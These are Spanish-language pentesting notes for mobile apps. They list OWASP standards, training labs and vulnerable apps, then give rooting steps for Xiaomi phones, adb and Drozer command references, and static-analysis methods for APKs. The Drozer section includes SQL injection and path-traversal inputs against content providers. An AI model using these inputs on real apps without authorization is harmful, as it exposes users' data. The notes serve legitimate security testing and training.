# Inicio

Apuntes sobre pentesting de aplicaciones móviles Android & iOS.


# Metodologías y estándares

## Open Web Application Security Project (OWASP)

### Mobile Application Security (MAS)

* <https://mas.owasp.org/>

### Mobile Application Security Verification Standard (MASVS)

* <https://mas.owasp.org/MASVS/>

### Mobile Application Security Testing Guide (MASTG)

* <https://mas.owasp.org/MASTG/>

### Mobile Application Security Weakness Enumeration (MASWE)

* <https://mas.owasp.org/MASWE/>

### MAS checklist

* <https://mas.owasp.org/checklists/>

### OWASP Mobile Top 10

* <https://owasp.org/www-project-mobile-top-10/>


# Recursos de aprendizaje

## Plataformas

### 8KSEC

* [Android Application Exploitation Challenges](https://academy.8ksec.io/course/android-application-exploitation-challenges)
* [iOS Application Exploitation Challenges](https://academy.8ksec.io/course/ios-application-exploitation-challenges)
* [ARM Exploitation Challenges](https://academy.8ksec.io/course/arm-exploitation-challenges)

### Hack The Box

* [Mobile exploitation](https://app.hackthebox.com/tracks/Mobile-Exploitation)
* [Mobile challenges](https://app.hackthebox.com/challenges)
* HTB Academy
  * [Android Application Pentesting Skill Path](https://academy.hackthebox.com/path/preview/android-application-pentesting)

### Mobile Hacking Lab

* [Hacking labs](https://www.mobilehackinglab.com/hacking-labs)

### PentesterLab

* [Android badge](https://pentesterlab.com/badges/android)

### TryHackMe

* [Android Hacking 101](https://tryhackme.com/room/androidhacking101)

## Cursos

* [Hextree](https://app.hextree.io/map/android)
* [Mobile Hacking Lab](https://www.mobilehackinglab.com/courses)
* [NowSecure Academy](https://academy.nowsecure.com/)
* [Securing - iOS Application Security Engineer (iASE)](https://courses.securing.pl/courses/iase)
* [Spartan-Cybersecurity - Curso de Desarrollo Ofensivo en Android (CDOA)](https://academy.spartan-cybersec.com/p/curso-desarrollo-ofensivo-android-cdoa)
* [TCM Security - Mobile Application Penetration Testing](https://academy.tcm-sec.com/p/mobile-application-penetration-testing)

## Libros

* [Frida HandBook](https://learnfrida.info/)

## Certificaciones

* [7CMP - 7ASecurity Certified Mobile Penetration Tester](https://7asecurity.com/course_hacking_android_ios_and_iot_apps_by_example)
* 8KSEC&#x20;
  * [OMSE - Offensive Mobile Security Expert](https://academy.8ksec.io/course/offensive-mobile-reversing-and-exploitation)
  * [CMSE - Certified Mobile Security Engineer](https://academy.8ksec.io/course/practical-mobile-application-exploitation)
  * [CISR - Certified iOS Security Researcher](https://academy.8ksec.io/course/offensive-ios-internals)
  * [CASR - Certified Android Security Researcher](https://academy.8ksec.io/course/offensive-android-internals)
* [CMAE - Certified Mobile AppSec Expert](https://training.enciphers.com/p/mobile-application-security-android-ios)
* [eMAPT - eLearnSecurity Mobile Application Penetration Tester](https://elearnsecurity.com/product/emapt-certification/)
* [GMOB - GIAC Mobile Device Security Analyst](https://www.giac.org/certifications/mobile-device-security-analyst-gmob/)
* Mobile Hacking Lab
  * [CAPT - Certified Android Penetration Tester](https://www.mobilehackinglab.com/course/android-appsec-exam)
  * [CIPT - Certified iOS Penetration Tester](https://www.mobilehackinglab.com/course/ios-appsec-exam)
* [PMPA - Practical Mobile Pentest Associate](https://certifications.tcm-sec.com/pmpa/)
* The SecOps Group
  * [CMPen - Certified Mobile Pentester (Android)](https://pentestingexams.com/certifications/professional/certified-mobile-pentester-cmpen-android/)
  * [CMPen - Certified Mobile Pentester (iOS)](https://secops.group/product/certified-mobile-pentester-cmpen-ios/)


# Aplicaciones vulnerables

## Android AppSec (hpAndro1337)

* <https://github.com/RavikumarRamesh/hpAndro1337>
* <https://ctf.hpandro.raviramesh.info/>

## AndroGoat

* <https://github.com/satishpatnayak/AndroGoat>

## Android Insecure Bank v2

* <https://github.com/dineshshetty/Android-InsecureBankv2>

## Android SSL Pinning Demo

* <https://github.com/httptoolkit/android-ssl-pinning-demo>

## BugBazaar

* <https://github.com/payatu/BugBazaar>

## Frida Labs

* <https://github.com/DERE-ad2001/Frida-Labs>

## InjuredAndroid

* <https://github.com/B3nac/InjuredAndroid>

## MASTG Hacking Playground

* <https://github.com/OWASP/MASTG-Hacking-Playground>

## Sieve

* <https://github.com/WithSecureLabs/drozer/releases/download/2.3.4/sieve.apk>


# Emuladores

## Android Studio

* <https://developer.android.com/studio>
* Imágenes que incluyen Google Play Store no admiten privilegios de root.
* Imágenes que incluyen solo Google APIs si permiten privilegios de root.

## BlueStacks

* <https://www.bluestacks.com/>

## Corellium

* <https://www.corellium.com/>

## Genymotion

* <https://www.genymotion.com/>

## LDPlayer

* <https://www.ldplayer.net/>

## MEmu Play

* <https://www.memuplay.com/>

## NoxPlayer

* <https://www.bignox.com/>


# Root

## Xiaomi

### Redmi Note 8 (ginkgo) <a href="#xiaomi-redmi-note-8" id="xiaomi-redmi-note-8"></a>

1\) Activar "Opciones de desarrollador".

2\) Ingresar a la opción "Estado de mi desbloqueo" y configurar.

3\) Activar opción "Depuración USB".

4\) Activar opción "Desbloqueo OEM".

5\) Desbloquear el bootloader.

~~6) Instalar~~ [~~TWRP~~](https://github.com/MrW0l05zyn/root-android/blob/main/xiaomi/redmi-note-8-ginkgo/twrp-3.7.1_12-0-ginkgo.img) ~~en el dispositivo móvil utilizando~~ [~~XiaoMiTool~~](https://www.xiaomitool.com/)~~.~~

7\) Extraer el archivo [recovery.img](https://github.com/MrW0l05zyn/root-android/blob/main/xiaomi/redmi-note-8-ginkgo/recovery.img) desde la imagen de fábrica (ROM) correspondiente (por ejemplo, V11.0.9.0 PCOMIXM) y transferirlo al dispositivo móvil.

```sh
adb push recovery.img /sdcard/Download
```

8\) Instalar [Magisk](https://github.com/topjohnwu/Magisk) en el dispositivo móvil.

9\) Parchear [recovery.img](https://github.com/MrW0l05zyn/root-android/blob/main/xiaomi/redmi-note-8-ginkgo/recovery.img) utilizando [Magisk](https://github.com/topjohnwu/Magisk) y luego extraer la imagen parcheada desde el dispositivo móvil.

```sh
adb pull /sdcard/Download/magisk_patched_<random_strings>.img
```

10\) Actualizar la imagen parcheada en el dispositivo móvil.

```sh
adb reboot bootloader
fastboot flash recovery magisk_patched_<random_strings>.img
fastboot reboot
```

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FApbexYEZoVSUxC8CEAqo%2Fmagisk-xiaomi-redmi-note-8-ginkgo.png?alt=media&amp;token=a7bb58c3-7da7-4f59-ba41-29c49e00f4bd" alt="" width="375"><figcaption><p>Xiaomi Redmi Note 8 (ginkgo) rooteado con Magisk</p></figcaption></figure>

### Redmi Note 11 Pro (viva) <a href="#xiaomi-redmi-note-8" id="xiaomi-redmi-note-8"></a>

1\) Activar "Opciones de desarrollador".

2\) Ingresar a la opción "Estado de mi desbloqueo" y configurar.

3\) Activar opción "Depuración USB".

4\) Activar opción "Desbloqueo OEM".

5\) Desbloquear el bootloader.

6\) Extraer el archivo [boot.img](https://github.com/MrW0l05zyn/root-android/blob/main/xiaomi/redmi-note-11-pro-viva/boot.zip) desde la imagen de fábrica (ROM) correspondiente (por ejemplo, V14.0.3.0 TGDMIXM) y transferirlo al dispositivo móvil.

```sh
adb push boot.img /sdcard/Download
```

7\) Instalar [Magisk](https://github.com/topjohnwu/Magisk) en el dispositivo móvil.

8\) Parchear [boot.img](https://github.com/MrW0l05zyn/root-android/blob/main/xiaomi/redmi-note-11-pro-viva/boot.zip) utilizando [Magisk](https://github.com/topjohnwu/Magisk) y luego extraer la imagen parcheada desde el dispositivo móvil.

```sh
adb pull /sdcard/Download/magisk_patched_<random_strings>.img
```

9\) Actualizar la imagen parcheada en el dispositivo móvil.

```sh
adb reboot bootloader
fastboot flash boot magisk_patched_<random_strings>.img
fastboot reboot
```

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2F2Tam8h0aJ4NDbSnuUVjU%2Fmagisk-xiaomi-redmi-note-11-pro-viva.png?alt=media&amp;token=c6b030c9-1f0d-4e12-ab9a-7da0a38f895c" alt="" width="375"><figcaption><p>Xiaomi Redmi Note 11 Pro (viva) rooteado con Magisk</p></figcaption></figure>


# Android Debug Bridge (adb)

Conexión a dispositivo vía red.

```shell
# Opción 1
## Desde un equipo con Windows conectado al dispositivo mediante USB,
## habilitamos la conexión ADB hacia el dispositivo móvil vía red
.\adb.exe tcpip 5555
## Conexión ADB  vía red al dispositivo desde equipo con Linux/Unix
adb connect <device-ip-address>:5555

# Opción 2
## Desde el dispositivo móvil (rooteado), mediante una terminal (por ejemplo Termux), 
## habilitamos la conexión ADB hacia el dispositivo móvil vía red
su
setprop service.adb.tcp.port 5555
stop adbd
start adbd
## Conexión ADB vía red al dispositivo desde equipo con Linux/Unix
adb connect <device-ip-address>:5555
```

Listar dispositivos conectados.

```shell
adb devices -l
```

Instalación de aplicación.

```shell
adb install app.apk
```

Obtener listado de aplicaciones instaladas.

```shell
adb shell pm list packages
```

Obtener listado de aplicaciones de terceros instaladas.

```sh
adb shell pm list packages -3 -U --show-versioncode | sort
```

Obtener nombre de aplicación en ejecución.

```sh
adb shell "dumpsys activity activities | grep VisibleActivityProcess"
```

Obtener listado de aplicaciones en ejecución.

```sh
adb shell top -m 10 -q
```

Iniciar una aplicación.

```sh
adb shell monkey -p <app-package-name> -c android.intent.category.LAUNCHER 1
```

Cerrar una aplicación.

```shell
adb shell am force-stop <app-package-name>
```

Desinstalación de una aplicación.

```shell
adb shell pm list packages
adb uninstall <app-package-name>
```

Iniciar shell interactiva.

```shell
adb shell
```

Ejecutar comando sin iniciar shell interactiva.

```shell
adb shell "<shell-command>"
```

Copiar archivo al dispositivo.

```shell
adb push <local-file> <destination-directory>
```

Copiar archivo desde el dispositivo.

```shell
adb pull <remote-file> <local-file>
```

Obtener información de una aplicación.

```shell
adb shell pm list packages
adb shell pm dump <app-package-name>
```

Obtener ruta del archivo APK de una aplicación.

```shell
adb shell pm list packages
adb shell pm path <app-package-name>
```

Realizar una captura de pantalla (screenshot).

```shell
# Guarda captura de pantalla en dispositivo
adb shell -p "<destination-directory>/screenshot.png"

# Guarda captura de pantalla en nuestro equipo
adb exec-out screencap -p > screenshot.png
```

Grabar la pantalla del dispositivo (video).

```shell
# General
adb shell screenrecord "<destination-directory>/screenrecord.mp4"

# Grabar la pantalla del dispositivo, copiar video a 
# nuestro equipo y borrarlo desde el dispositivo
adb shell screenrecord "/sdcard/screenrecord.mp4"
adb pull "/sdcard/screenrecord.mp4"
adb shell rm "/sdcard/screenrecord.mp4"
```

Obtener versión de Android.

```shell
adb shell getprop ro.build.version.release
```

Obtener versión de API level.

```shell
adb shell getprop ro.build.version.sdk
```

Obtener build number.

```sh
adb shell getprop ro.build.display.id
```

Obtener build model.

```sh
adb shell getprop ro.product.model
```

Reiniciar dispositivo.

```shell
adb reboot
```


# SSH (Secure SHell)

## Termux

1\) Instalación de Termux.

* <https://play.google.com/store/apps/details?id=com.termux>

2\) Instalación de OpenSSH desde Termux.

```sh
pkg update && pkg upgrade
pkg install openssh
```

3\) Iniciar el servicio SSH.

```sh
sshd
```

4\) Asignar contraseña a usuario.

```sh
passwd
```

5\) Conectarse vía SSH.

```sh
ssh <user>@<device-ip-address> -p 8022
```


# Drozer

https\://github.com/WithSecureLabs/drozer

## Instalación de Drozer Client

Instalación de Drozer en entorno virtual de Python 2.

```shell
# Creación y activación de entorno virtual
mkdir drozer && cd drozer
which python2
virtualenv -p /usr/bin/python2 drozer-env
source drozer-env/bin/activate

# Instalación de Drozer utilizando Python wheel
pip install drozer-2.4.4-py2-none-any.whl

# Instalación de dependencias de Drozer (pre-requisitos)
pip install twisted
```

## Instalación de Drozer Agent (APK)

```shell
adb install <drozer-agent>.apk
```

## Comandos generales

Iniciar consola de Drozer.

```shell
drozer console connect
drozer console connect --server <device-IP-address>
```

Obtener listado de aplicaciones instaladas.

```shell
run app.package.list
run app.package.list -f <filter>
```

Obtener información general de una aplicación.

```shell
run app.package.info -a <app-package-name>
```

Leer archivo AndroidManifest.xml de una aplicación.

```shell
run app.package.manifest <app-package-name>
```

Superficie de ataque de una aplicación.

```shell
run app.package.attacksurface <app-package-name>
```

## Activities

Obtener activities con exportación habilitada de una aplicación.

```shell
run app.activity.info -a <app-package-name>
```

Iniciar activity con exportación habilitada.

```shell
run app.activity.start --component <app-package-name> <app-package-name>.<activity-name>
```

## Content providers

Obtener content providers de una aplicación.

```sh
run app.provider.info -a <app-package-name>
```

Obtener URIs de content providers de una aplicación.

```sh
run app.provider.finduri <app-package-name>
run scanner.provider.finduris -a <app-package-name>
```

Interacción general con content providers.

```sh
# Select
run app.provider.query <uri>
run app.provider.query <uri> --projection <column-name>
run app.provider.query <uri> --selection <column-name>=<column-value>
run app.provider.query <uri> --selection <column-name>=\'<column-value>\'

# Insert
run app.provider.insert <uri> --<column-type> <column-name> <column-value>
run app.provider.insert <uri> --string <column-name> <column-value> --integer <column-name> <column-value>

# Delete
run app.provider.delete <uri>
run app.provider.delete <uri> --selection <column-name>=<column-value>
run app.provider.delete <uri> --selection <column-name>=\'<column-value>\'

# Update
run app.provider.update <uri> --selection <column-name>=<column-value> --<column-type> <column-name> <column-value>

# Lectura de archivo
run app.provider.read <uri>/<file>

# Descarga de archivo
run app.provider.download <uri>/<file> .
```

### SQL injection (SQLi) <a href="#content-providers-sql-injection-sqli" id="content-providers-sql-injection-sqli"></a>

Identificación de SQLi.

```sh
run scanner.provider.injection -a <app-package-name>
run app.provider.query <uri> --projection "'"
run app.provider.query <uri> --selection "'"
```

Enumeración de tablas.

```sh
run scanner.provider.sqltables -a <app-package-name>
run app.provider.query <uri> --projection "* FROM SQLITE_MASTER WHERE type='table';--"
```

Obtención de datos de una tabla.

```sh
run app.provider.query <uri> --projection "* FROM <table>;--"
```

### Path traversal

Identificación de path traversal.

```sh
run scanner.provider.traversal -a <app-package-name>
```

Lectura de archivo.

```sh
run app.provider.read <uri>/<file>
run app.provider.read <uri>/../../../<file>
run app.provider.read <uri>/../../../etc/hosts
```


# Obtención de app (APK)

## Android Debug Bridge (adb)

Obtener ruta del archivo APK de todas las aplicaciones de terceros instaladas.

```sh
adb shell pm list packages -f -3
```

Obtener ruta del archivo APK de una aplicación.

```shell
# Obtener nombre de aplicación
## listado de aplicaciones instaladas
adb shell pm list packages
## listado de aplicaciones de terceros instaladas
adb shell pm list packages -3 -U --show-versioncode | sort
## nombre de aplicación en ejecución
adb shell "dumpsys activity activities | grep VisibleActivityProcess"

# Obtener ruta del archivo APK de una aplicación
adb shell pm path <app-package-name>
```

Copiar archivo APK desde el dispositivo.

```shell
adb pull <remote-file> <local-file>
```

## Sitio webs

* [https://apkcombo.com/](https://apkcombo.com/es/)
* [https://apkpure.com/](https://apkpure.com/es/)
* <https://apksos.com/>
* <https://apps.evozi.com/apk-downloader/>
* <https://www.appbrain.com/>
* <https://apk.support/>
  * <https://apk.support/app/\\><app-package-name>/versions
* <https://global.app.mi.com/>
* <https://apptopia.com/google-play/app/\\><app-package-name>/about
* <https://www.apkmirror.com/>


# Análisis estático


# AndroidManifest.xml

## Extraer AndroidManifest.xml

### Apktool

```sh
apktool d application.apk -o app-decompiled --match-original --no-assets --no-src
more app-decompiled/AndroidManifest.xml
```

### android4me

```shell
cp application.apk application.zip
unzip application.zip -d app-unpacked
cd app-unpacked
java -jar AXMLPrinter2.jar AndroidManifest.xml > AndroidManifest.xml.txt
more AndroidManifest.xml.txt
```

## Análisis de AndroidManifest.xml

### Nombre del paquete

En el atributo `package` del elemento raíz del archivo de manifiesto se determina el nombre del paquete de la aplicación.

```xml
<manifest package="com.example.app">
    ...
</manifest>
```

```shell
grep "package=" app-decompiled/AndroidManifest.xml 
```

### Versiones de Android compatibles

El valor del atributo `android:minSdkVersion` determina el nivel de API mínimo que se requiere para que se ejecute la aplicación. Android impide que el usuario instale la aplicación si el nivel de API es inferior al valor especificado en este atributo. Se recomienda declarar siempre este atributo, si no declara se adopta el valor predeterminado igual a "1", el cual indica que la aplicación es compatible con todas las versiones de Android.

En el caso que el valor del atributo `android:minSdkVersion` sea igual o inferior a 15, correspondiente a la versión de Android 4 (Ice Cream Sandwich), una aplicación maliciosa podría potencialmente acceder a los registros (logs) de cualquier otra aplicación, sin requerir privilegios de root. Esta circunstancia podría poner en riesgo información confidencial almacenada en dichos registros, lo que podría dar lugar a accesos no autorizados a datos sensibles.

```sh
grep -Eo "android:minSdkVersion=\"[0-9]+\"" app-decompiled/AndroidManifest.xml
```

### Depuración

Determina si es posible o no depurar la aplicación, incluso cuando se ejecuta en un dispositivo en modo de usuario. El valor predeterminado es `false.`

* `true` = depuración activada.
* `false` = depuración desactivada.

```xml
<application android:debuggable="false">
    ...
</application>
```

```shell
grep "android:debuggable" app-decompiled/AndroidManifest.xml 
```

### Copia de seguridad

Determina si es posible respaldar y restaurar los datos de la aplicación. Si se establece en `true`, se permite realizar una copia de seguridad de los datos de la aplicación a través de Android Debug Bridge (adb), incluso si el dispositivo no está rooteado. Por lo tanto, las aplicaciones que manejan y almacenan información confidencial deben establecer esta configuración explícitamente en `false`, debido a que el valor predeterminado es `true`.

* `true` = copia de seguridad permitida.
* `false` = copia de seguridad no permitida

```xml
<application android:allowBackup="false">
    ...
</application>
```

```shell
grep "android:allowBackup" app-decompiled/AndroidManifest.xml
```

Realizar copia de seguridad desde Android Debug Bridge (adb).

```sh
adb backup <app-package-name>
```

Descomprimir copia de seguridad.

```sh
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 backup.ab ) | tar xfvz -
```

### Permisos

Las aplicaciones deben solicitar permiso para acceder a datos sensibles del usuario (como contactos y SMS) o a determinadas funciones del sistema (como la cámara y el acceso a Internet). A partir de Android 6.0 (nivel de API 23), el usuario puede aprobar o rechazar algunos permisos de las aplicaciones durante el tiempo de ejecución. No obstante, sin importar qué versión de Android admita la aplicación, se deben declarar todas las solicitudes de permisos con el elemento `<uses-permission>`. Si se otorga el permiso, la aplicación podrá usar las funciones protegidas. De lo contrario, los intentos de acceder a esas funciones fallarán.

* Antes de Android 6.0 (nivel de API 23): todos los permisos son otorgados durante la instalación.
* Después de Android 6.0 (nivel de API 23): algunos permisos se otorgan en tiempo de ejecución, después de que el usuario lo solicite.

Las aplicaciones también puede definir sus propios permisos con el elemento `<permission>`.

```sh
grep "<uses-permission" app-decompiled/AndroidManifest.xml
grep "<android:uses-permission" app-decompiled/AndroidManifest.xml
grep "<permission" app-decompiled/AndroidManifest.xml
grep -E "<uses-permission|<android:uses-permission|<permission" app-decompiled/AndroidManifest.xml
```

### Activities

#### android.intent.action.MAIN & android.intent.category.LAUNCHER

`android.intent.action.MAIN` establece la activity que se ejecuta al iniciar la aplicación (punto de entrada principal).

`android.intent.category.LAUNCHER` permite que la actividad aparezca en el launcher de Android. Por lo tanto, cuando el usuario pulsa el icono de la aplicación en el launcher, la activity se inicializa.

```xml
<activity android:name=".MainActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>
```

#### Exported <a href="#activity-exported" id="activity-exported"></a>

Establece si otras aplicaciones pueden iniciar la activity.

* `true` = cualquier aplicación puede iniciar la activity.
* `false` = la activity solo se puede iniciar con componentes de la misma aplicación, aplicaciones con el mismo ID de usuario o componentes del sistema con privilegios. Este es el valor predeterminado cuando no hay filtros de `intents`.

```xml
<activity android:exported="false" />
```

```shell
# Búsqueda de activities
grep "<activity" app-decompiled/AndroidManifest.xml

# Búsqueda de activities con exportación habilitada
## explícitamente
grep "<activity" app-decompiled/AndroidManifest.xml | grep "android:exported=\"true\""
## implícitamente
grep "<intent-filter" -B 1 app-decompiled/AndroidManifest.xml | grep "<activity" | grep --invert-match "android:exported=\"true\""
```

### Broadcast receivers

Los broadcast receivers permiten que las aplicaciones reciban intents que el sistema u otras aplicaciones difunden, incluso cuando otros componentes de la aplicación no se están ejecutando.

```shell
# Búsqueda de broadcast receivers
grep "<receiver" app-decompiled/AndroidManifest.xml

# Búsqueda de broadcast receivers con exportación habilitada
## explícitamente
grep "<receiver" app-decompiled/AndroidManifest.xml | grep "android:exported=\"true\""
## implícitamente
grep "<intent-filter" -B 1 app-decompiled/AndroidManifest.xml | grep "<receiver" | grep --invert-match "android:exported=\"true\""
```

### Content providers

Los content providers ayudan a una aplicación a administrar el acceso a los datos almacenados por ella misma, almacenados por otras aplicaciones y proporcionar una forma de compartir datos con otras aplicaciones.

```shell
# Búsqueda de content providers
grep "<provider" app-decompiled/AndroidManifest.xml

# Búsqueda de content providers con exportación habilitada
## explícitamente
grep "<provider" app-decompiled/AndroidManifest.xml | grep "android:exported=\"true\""
## implícitamente
grep "<intent-filter" -B 1 app-decompiled/AndroidManifest.xml | grep "<provider" | grep --invert-match "android:exported=\"true\""
```

#### Exported <a href="#content-providers-exported" id="content-providers-exported"></a>

Establece si el content provider está disponible para que lo usen otras aplicaciones:

* `true` = está disponible para otras aplicaciones. Cualquier aplicación puede acceder a él, sujeto a los permisos especificados.
* `false` = no está disponible para otras aplicaciones. Solo las aplicaciones que tienen el mismo ID de usuario (UID) que el provider, o las aplicaciones a las que se les ha otorgado acceso temporal al provider a través de `android:grantUriPermissions`, tienen acceso a él.

```shell
<provider android:exported="false" />
```

Este atributo se introdujo en el nivel de API 17, todos los dispositivos que ejecutan la API nivel 16 o versiones anteriores se comportan como si este atributo estuviera configurado en `true`. Si configuras `android:targetSdkVersion` en 17 o una versión posterior, el valor predeterminado es `false` para los dispositivos que ejecutan el nivel de API 17 o superior.

Los content providers se pueden consultar con éxito desde un contexto privilegiado (un shell ADB se considera un contexto privilegiado) en dispositivos que ejecutan los niveles de API 8 a 23, incluso si el atributo `android:exported` está configurado como `false`. A partir del nivel de API 24 en adelante, los content providers no se pueden consultar desde ADB.

### Services

A diferencia de las activities, los services no cuentan con una interfaz de usuario visual. Permiten implementar operaciones de ejecución prolongada en segundo plano o una API de comunicaciones enriquecida a la que pueden llamar las otras aplicaciones.

```shell
# Búsqueda de services
grep "<service" app-decompiled/AndroidManifest.xml

# Búsqueda de services con exportación habilitada
## explícitamente
grep "<service" app-decompiled/AndroidManifest.xml | grep "android:exported=\"true\""
## implícitamente
grep "<intent-filter" -B 1 app-decompiled/AndroidManifest.xml | grep "<service" | grep --invert-match "android:exported=\"true\""
```

#### Exported <a href="#services-exported" id="services-exported"></a>

Indica si los componentes de otras aplicaciones pueden invocar o no el servicio, o interactuar con él: `true` si pueden y `false` no pueden. Cuando el valor es `false`, solo los componentes de la misma aplicación o las aplicaciones con el mismo ID de usuario pueden iniciar el servicio o vincularse con él.

El valor predeterminado variará de acuerdo con los intent filters que tenga el servicio. La ausencia de intent filters significa que solo se puede invocar el servicio si se especifica el nombre exacto de la clase. Esto quiere decir que el servicio solo está destinado al uso interno de la aplicación (dado que otras entidades no conocerían el nombre de la clase). Por lo tanto, en este caso, el valor predeterminado es `false`. Por otro lado, la presencia de al menos un intent filter implica que el servicio está destinado para uso externo, por lo que la configuración es `true`.

Este atributo no es la única forma de limitar la exposición de un servicio ante otras aplicaciones. También es posible usar un permiso para limitar las entidades externas que pueden invocar al servicio (atributo `permission`).

```shell
<service android:exported="false" />
```

### Funcionalidades exportadas

* Explícitamente: la etiqueta contiene explícitamente el atributo `android:exported="true"`.
* Implícitamente: la funcionalidad tiene una etiqueta de `<intent-filter>` en su interior, que exporta implícitamente la funcionalidad.

```sh
# Funcionalidades exportadas explícitamente
grep "android:exported=\"true\"" app-decompiled/AndroidManifest.xml | sort

# Funcionalidades exportadas implícitamente
grep "<intent-filter" -B 1 app-decompiled/AndroidManifest.xml | grep --invert-match "android:exported=\"true\"" | grep -E "<activity|<receiver|<provider|<service" | sort
```

### Custom application class

El atributo `android:name` del elemento `<application>` en el archivo de manifiesto indica una clase personalizada que extiende la clase `Application`. Esta clase, al igual que cualquier subclase de `Application`, se instancia antes que cualquier otra clase al momento de crear el proceso de la aplicación. Esto implica que dicha clase se ejecutará de forma inmediata al iniciar la aplicación, incluso antes de que el usuario comience a interactuar con ella.

```xml
<application android:name="com.example.app.Init">
    ...
</application>
```

```sh
grep "<application" app-decompiled/AndroidManifest.xml | grep "android:name"
```


# Network security config

## Uses clear text traffic

```sh
grep "android:usesCleartextTraffic" app-decompiled/AndroidManifest.xml
```

## Network security config <a href="#network-security-config" id="network-security-config"></a>

```sh
grep "android:networkSecurityConfig" app-decompiled/AndroidManifest.xml
```

* `android:networkSecurityConfig="@xml/network_security_config`
  * `/res/xml/network_security_config.xml`


# Directorios y archivos

## Principales directorios y archivos <a href="#principales-directorios-y-archivos" id="principales-directorios-y-archivos"></a>

```sh
# Settings
AndroidManifest.xml
/res/xml/
/res/xml/network_security_config.xml

# Shared library (.so) / native code
/lib/

# Resources
/assets/
/assets/properties
/res/values/
/res/values/strings.xml
/res/raw/
```

```sh
cat app-decompiled/res/values/strings.xml
```

## Búsqueda de archivos <a href="#busqueda-de-archivos" id="busqueda-de-archivos"></a>

```sh
# Búsqueda de archivos por nombre
find ./app-decompiled -iname "*<name>*"
# Búsqueda de archivos por extensión
find ./app-decompiled -regex ".*\.\(db\|sqlite\)"
```


# Patrones y palabras claves en el código

## Búsqueda de patrones y palabras claves <a href="#busqueda-de-patrones-y-palabras-claves" id="busqueda-de-patrones-y-palabras-claves"></a>

### grep <a href="#grep" id="grep"></a>

```sh
# Expresiones regulares
grep -Eorin "<regex>" ./app-decompiled

# Búsqueda de archivos por palabras claves en su interior
grep -Erinl "<word-1>|<word-2>|<word-3>" ./app-decompiled
grep -Erin -f <wordlist.txt> ./app-decompiled

# Búsqueda de palabras claves en código fuente obtenido desde el proceso de decompilación
grep -Eir "<word-1>|<word-2>|<word-3>" ./app-decompiled/sources/<path>

# Búsqueda de palabras claves en registros de logs desde código fuente obtenido desde el proceso de decompilación
grep -Eir "<word-1>|<word-2>|<word-3>" ./app-decompiled/sources/<path> | grep -i log
```

* -E = expresión regular extendida (patrones).
* -o = muestra sólo las partes condicientes.
* -r = recursivo (revisa todos los archivos en cada directorio).
* -i = ignora las distinciones entre mayúsculas y minúsculas (not case sensitive).
* -n = número de línea dentro del archivo.
* -l = muestra sólo los nombres de archivos.
* \<regex> = patrón de expresión regular.

### Expresiones regulares <a href="#expresiones-regulares" id="expresiones-regulares"></a>

```sh
# Correo electrónico
"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b"

# UUID (Universally Unique IDentifier)
"[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}"
```

### Palabras claves <a href="#palabras-claves" id="palabras-claves"></a>

* <https://github.com/MrW0l05zyn/pentesting/blob/master/wordlists/sensitive-keywords.txt>

```sh
grep -Erin -f <wordlist.txt> ./app-decompiled
```

## Herramientas

### APKLeaks

```sh
apkleaks -f <application.apk>
```

### APKscan

```sh
apkscan <application.apk>
```

### TruffleHog

```sh
# APK
trufflehog filesystem <application.apk>

# Files
apktool d <application.apk> -o app-decompiled
trufflehog filesystem app-decompiled
```


# Reversing


# Aplicaciones nativas


# Java / Kotlin

## Tabla de conversión de archivos

| Archivo de origen | Archivo resultante |         Herramienta        |
| :---------------: | :----------------: | :------------------------: |
|        .apk       |        .dex        | unzip (desempaquetar .apk) |
|        .dex       |        .jar        |           dex2jar          |
|        .jar       |       .class       |           JD-GUI           |
|        .apk       |       .smali       |           Apktool          |
|        .dex       |       .smali       |          baksmali          |
|        .apk       |       .class       |            jadx            |

## Desempaquetar APK

```shell
cp application.apk application.zip
unzip application.zip -d app-unpacked
```

## Apktool

* Desde `.apk` a `.smali`

### Descompilar APK <a href="#apktool-descompilar-apk" id="apktool-descompilar-apk"></a>

```shell
apktool d application.apk -o app-decompiled
```

### Compilar APK <a href="#apktool-compilar-apk" id="apktool-compilar-apk"></a>

```shell
apktool empty-framework-dir

# General
apktool b app-decompiled -o app-compiled.apk

# AAPT2 (Android Asset Packaging Tool)
apktool b --use-aapt2 app-decompiled -o app-compiled.apk
```

## APKLab

* <https://apklab.surendrajat.xyz/>

## baksmali

* Desde `.dex` a `.smali`

```shell
java -jar baksmali.jar d <file.dex>
cd out
```

## dex2jar

* Desde `.apk` a `.jar` o `.dex` a `.jar`

```shell
# Desempaquetar APK
cp app.apk app.zip
unzip app.zip -d app-unpacked

# .dex a .jar
cd app-unpacked
d2j-dex2jar <file.dex>

# .apk a .jar
d2j-dex2jar app.apk -o app.jar
```

## jadx

```shell
jadx -d $(pwd)/app-decompiled $(pwd)/<file>
jadx-gui $(pwd)/<file>
```

* \<file> = `.apk`, `.dex`, `.jar`, `.class`, `.smali`, `.zip`, `.aar`, `.arsc`.

## JD-GUI

* Desde `.jar` a `.class`

```shell
java -jar jd-gui.jar <file.jar>
```


# Aplicaciones híbridas


# Flutter

## General

El código desarrollado en Flutter (escrito en Dart) se compila a código nativo, por lo que la aplicación almacena el código resultante en bibliotecas compartidas (archivos .so).

## Modo depuración habilitado

En caso de que el modo de depuración se encuentre habilitado, será posible acceder al código fuente.

```sh
apktool d application.apk -o app-decompiled
strings ./app-decompiled/assets/flutter_assets/kernel_blob.bin > extracted_code.dart
cat extracted_code.dart
```


# React Native

## General

Al desarrollar una aplicación con React Native, la mayor parte de la lógica se implementa en JavaScript. El proyecto también incluye clases nativas como MainActivity, escritas en Java o Kotlin, que actúan como punto de entrada en la plataforma Android. Cuando la aplicación está lista para su publicación, el código JavaScript se empaqueta en un archivo optimizado y minificado llamado `index.android.bundle`, lo que mejora el rendimiento y reduce el tamaño total de la aplicación.

* `APK -> Resources-> assets-> index.android.bundle`

## Lectura de código JavaScript minificado

```sh
apktool d application.apk -o app-decompiled

